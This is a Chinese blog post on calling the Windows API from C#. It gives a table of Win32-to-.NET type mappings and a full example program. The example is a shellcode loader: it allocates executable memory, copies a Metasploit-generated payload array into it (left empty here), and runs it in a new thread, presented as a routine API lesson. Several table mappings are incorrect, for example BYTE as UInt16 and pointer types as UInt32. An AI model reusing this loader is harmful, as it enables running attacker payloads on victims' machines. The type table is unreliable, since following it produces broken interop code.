首页 > 系统相关 >c# 调用Windows API

c# 调用Windows API

时间:2022-09-06 14:24:39浏览次数:71  
标签:IntPtr Int32 c# System private Windows API static UInt32

c# 调用Windows API

前言

看点代码安抚浮躁的心

对应表

API数据类型 Windows API时的数据类型
BOOL System.Int32
BOOLEAN System.Int32
BYTE System.UInt16
COLORREF System.UInt32
DWORD System.UInt32
DWORD32 System.UInt32
DWORD64 System.UInt64
FLOAT System.Float
HACCEL System.IntPtr
HANDLE System.IntPtr
HBITMAP System.IntPtr
HBRUSH System.IntPtr
HCONV System.IntPtr
HCONVLIST System.IntPtr
HCURSOR System.IntPtr
HDC System.IntPtr
HDDEDATA System.IntPtr
HDESK System.IntPtr
HDROP System.IntPtr
HDWP System.IntPtr
HENHMETAFILE System.IntPtr
HFILE System.IntPtr
HFONT System.IntPtr
HGDIOBJ System.IntPtr
HGLOBAL System.IntPtr
HHOOK System.IntPtr
HICON System.IntPtr
HIMAGELIST System.IntPtr
HIMC System.IntPtr
HINSTANCE System.IntPtr
HKEY System.IntPtr
HLOCAL System.IntPtr
HMENU System.IntPtr
HMETAFILE System.IntPtr
HMODULE System.IntPtr
HMONITOR System.IntPtr
HPALETTE System.IntPtr
HPEN System.IntPtr
HRGN System.IntPtr
HRSRC System.IntPtr
HSZ System.IntPtr
HWINSTA System.IntPtr
HWND System.IntPtr
INT System.Int32
INT32 System.Int32
INT64 System.Int64
LONG System.Int32
LONG32 System.Int32
LONG64 System.Int64
LONGLONG System.Int64
LPARAM System.IntPtr
LPBOOL System.Int16[]
LPBYTE System.UInt16[]
LPCOLORREF System.UInt32[]
LPCSTR System.String
LPCTSTR System.String
LPCVOID System.UInt32
LPCWSTR System.String
LPDWORD System.UInt32[]
LPHANDLE System.UInt32
LPINT System.Int32[]
LPLONG System.Int32[]
LPSTR System.String
LPTSTR System.String
LPVOID System.UInt32
LPWORD System.Int32[]
LPWSTR System.String
LRESULT System.IntPtr
PBOOL System.Int16[]
PBOOLEAN System.Int16[]
PBYTE System.UInt16[]
PCHAR System.Char[]
PCSTR System.String
PCTSTR System.String
PCWCH System.UInt32
PCWSTR System.UInt32
PDWORD System.Int32[]
PFLOAT System.Float[]
PHANDLE System.UInt32
PHKEY System.UInt32
PINT System.Int32[]
PLCID System.UInt32
PLONG System.Int32[]
PLUID System.UInt32
PSHORT System.Int16[]
PSTR System.String
PTBYTE System.Char[]
PTCHAR System.Char[]
PTSTR System.String
PUCHAR System.Char[]
PUINT System.UInt32[]
PULONG System.UInt32[]
PUSHORT System.UInt16[]
PVOID System.UInt32
PWCHAR System.Char[]
PWORD System.Int16[]
PWSTR System.String
REGSAM System.UInt32
SC_HANDLE System.IntPtr
SC_LOCK System.IntPtr
SHORT System.Int16
SIZE_T System.UInt32
SSIZE_ System.UInt32
TBYTE System.Char
TCHAR System.Char
UCHAR System.Byte
UINT System.UInt32
UINT32 System.UInt32
UINT64 System.UInt64
ULONG System.UInt32
ULONG32 System.UInt32
ULONG64 System.UInt64
ULONGLONG System.UInt64
USHORT System.UInt16
WORD System.UInt16
WPARAM System.IntPtr
LPTHREAD_START_ROUTINE UInt32
LPSECURITY_ATTRIBUTES LPSECURITY_ATTRIBUTES

案例1

[DllImport("kernel32", EntryPoint = "VirtualAlloc")] //导入kernel32.dll,VirtualAlloc函数
public static extern UInt32 VirtualAlloc(UInt32 lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect);//声明win32 API函数

...
//调用
 UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, 0x00001000, 0x40);

//或者可以写成这样

  private static UInt32 MEM_COMMIT = 0x1000;
  private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

  UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);

extern 修饰符用于声明在外部实现的方法。 extern 修饰符的常见用法是在使用 Interop 服务调入非托管代码时与 DllImport 特性一起使用。在这种情况下,还必须将方法声明为 static

完整代码

    static void Main(string[] args)
        {
            // native function’s compiled code
            // generated with metasploit
            byte[] shellcode = new byte[892] {  };
           
            
            
            //UInt32 funcAddr=   VirtualAlloc(0, (uint)shellcode.Length,);
            //CreateThread(0,0, funcAddr,);
      
            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;
            // prepare data
            IntPtr pinfo = IntPtr.Zero;
            // execute native code
            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); 
            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }
        private static UInt32 MEM_COMMIT = 0x1000;
        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
        [DllImport("kernel32")]
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
        UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
        [DllImport("kernel32")] 
        private static extern bool VirtualFree(IntPtr lpAddress,
        UInt32 dwSize, UInt32 dwFreeType);
        [DllImport("kernel32")]
        private static extern IntPtr CreateThread(
        UInt32 lpThreadAttributes,
        UInt32 dwStackSize,
        UInt32 lpStartAddress,
        IntPtr param,
        UInt32 dwCreationFlags,
        ref UInt32 lpThreadId
        );
        [DllImport("kernel32")]
        private static extern bool CloseHandle(IntPtr handle);
        [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject(
        IntPtr hHandle,
        UInt32 dwMilliseconds
        );
        [DllImport("kernel32")]
        private static extern IntPtr GetModuleHandle(
        string moduleName
        );
        [DllImport("kernel32")]
        private static extern UInt32 GetProcAddress(
        IntPtr hModule,
        string procName
        );
        [DllImport("kernel32")]
        private static extern UInt32 LoadLibrary(
        string lpFileName
        );
        [DllImport("kernel32")]
        private static extern UInt32 GetLastError();
  }

}

标签:IntPtr,Int32,c#,System,private,Windows,API,static,UInt32
From: https://www.cnblogs.com/nice0e3/p/16661576.html

相关文章

  • C++ 初识函数模板
    1.前言什么是函数模板?理解什么是函数模板,须先搞清楚为什么需要函数模板。如果现在有一个需求,要求编写一个求2个数字中最小数字的函数,这2个数字可以是int类型,可以......
  • 题解【CF1316E Team Building】网络流做法
    题目传送门。一眼费用流。然后发现题解区竟然全是状压DP?????推销一下本题状压DP的题解。那么我就来yy一下我的网络流做法吧,我会尽量把网络流的想法讲得自然一点。考......
  • 关于若依框架实现list数据导出到excel并实现下载(简单实现)
    没看源码,仅仅会用先是在需要导出的实体类上添加若依自带的@Excel的注解,注解中主要的两个参数一个是name用于生成excel中的字段名,一个是sort用于在excel中字段的排序......
  • CSP集训题解
    CSP集训题解Summer已经完结了于是新开一个,而且旧的已经很卡了9.5CSP-S短赛1(开小灶1)T1ZZH的游戏实际上把策略想明白就很简单。以一次连续的移动为一个阶段,每个阶段都必......
  • C# 处理UDP数据的类
    1usingSystem;2usingSystem.Net;3usingSystem.Net.Sockets;4usingSystem.Runtime.InteropServices;5usingSystem.Threading;67namespace......
  • cmake语法手册及教程
    一,cmake变量引用的方式:前面我们已经提到了,使用${}进行变量的引用。在IF等语句中,是直接使用变量名而不通过${}取值二,cmake自定义变量的方式:主要有隐式定义和显......
  • C# 处理多语言的基础类
    1usingNewtonsoft.Json;2usingNewtonsoft.Json.Linq;3usingSystem.IO;4usingSystem.Text;56namespaceTestDemo7{8///<summary>9......
  • Check if a string is null or empty in XSLT
    多条件查询string.Format("/root/deviceList//item/guid[{0}]",strBuilder.ToString())"/root/deviceList//item/guid[text()=\"h\"ortext()=\"a\"ortext()=\"c\"......
  • 苹果Mac原型设计:Axure RP9如何查看和共享您的原型?
    今天就给大家带来了AxureRP如何查看和共享您的原型的教程,你快速完成操作,快来跟小编看看吧!为您带来Mac上好用的原型设计软件AxureRP9中文正式版,axuremac是专为UX专业......
  • 安装PowerCLI
    1.使用powershell直接安装Install-ModuleVMware.PowerCLI-ScopeCurrentUser2.下载安装包后解压,将模块复制到powershell的模块目录1在官网下载ZIP包:https://devel......